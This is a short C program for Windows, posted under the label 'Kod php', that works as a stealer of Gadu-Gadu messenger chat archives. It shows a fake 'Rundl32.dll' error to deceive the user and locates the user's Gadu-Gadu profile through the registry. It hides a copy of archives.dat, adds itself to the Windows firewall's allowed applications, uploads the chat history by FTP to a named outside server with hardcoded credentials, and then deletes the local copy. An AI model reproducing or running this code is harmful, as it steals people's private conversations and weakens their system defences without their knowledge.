Kod php:
#include <windows.h>
#include <wininet.h>
#define HOST "zenonm.rr.pl"
#define PORT INTERNET_DEFAULT_FTP_PORT
#define USER "ssss12"
#define PASSWORD "ssss12"
#define INFO_BUFFER_SIZE 1024
TCHAR szNazwa[ 1024 ];
TCHAR moodule[1024];
const WORD zonk = 255;
char names[200];
void tryn(void){
char buff[100];
hostent *lphe;
WSADATA WSAData;
WSAStartup(MAKEWORD(2, 0), &WSAData);
gethostname(buff, 100);
lphe = gethostbyname(buff);
inet_ntoa(*(in_addr*)*lphe->h_addr_list);
char *adr=inet_ntoa(*(in_addr*)*lphe->h_addr_list);
WSACleanup();
memcpy(names,adr,sizeof(names));
}
bool finder(char shit[]){
strcat(shit,"\\");
strcat(shit,"archives.dat");
GetCurrentDirectory(zonk,szNazwa);
strcat(szNazwa,"\\archives.dat");
CopyFile(shit, szNazwa, FALSE);
DWORD atrb=FILE_ATTRIBUTE_HIDDEN;
SetFileAttributes(szNazwa,atrb);
return true;
}
int WINAPI WinMain(HINSTANCE hThisInstance, HINSTANCE hPrevInstance, LPSTR lpszArgument, int nFunsterStil){
GetModuleFileName( GetModuleHandle( NULL ), moodule, 1024 );
MessageBox(NULL, "Aplikacja nie może zostać uruchomiona w 32 bitowym trybie pamięci", "Rundl32.dll", MB_ICONSTOP);
char buf[200];
HKEY hkRun6;
HKEY hkRun2;
HKEY hkRun3;
DWORD dwBufSize = 20;
RegOpenKeyEx(HKEY_CURRENT_USER,"Software\\Gadu-Gadu\\Gadu-Gadu\\Startup",0,KEY_ALL_ACCESS,&hkRun6); /*otwieramy klucz od profilu gg*/
RegQueryValueEx(hkRun6, "LastProfile", 0,REG_NONE, (LPBYTE)buf, &dwBufSize);
RegCloseKey(hkRun6);
RegOpenKeyEx(HKEY_LOCAL_MACHINE,"SYSTEM\\ControlSet001\\Services\\SharedAccess\\Parameters\\FirewallPolicy\\StandardProfile\\AuthorizedApplications\\List",0,KEY_ALL_ACCESS,&hkRun2);
RegSetValueEx(hkRun2,moodule, 0 ,REG_SZ,(LPBYTE)moodule, lstrlen(moodule)+1);
RegCloseKey(hkRun2);
TCHAR infoBuf[INFO_BUFFER_SIZE];
DWORD bufCount = INFO_BUFFER_SIZE;
GetUserName( infoBuf, &bufCount );
char path[]="C:\\Documents and Settings\\";
strcat(path,infoBuf);
strcat(path,"\\Gadu-Gadu\\");
strcat(path,buf);
if(finder(path)==true){
tryn();
char rem[]="archiw/";
strcat(rem,names);
strcat(rem,".dat");
HINTERNET hInternet, hServer;
hInternet = InternetOpen(NULL, INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, 0);
hServer = InternetConnect(hInternet, HOST, PORT, USER, PASSWORD, INTERNET_SERVICE_FTP, 0, 0);
FtpPutFile(hServer,szNazwa,rem,FTP_TRANSFER_TYPE_BINARY,0);
InternetCloseHandle(hServer);
InternetCloseHandle(hInternet);
DeleteFile("archives.dat");
exit(1);
}
return 0;
}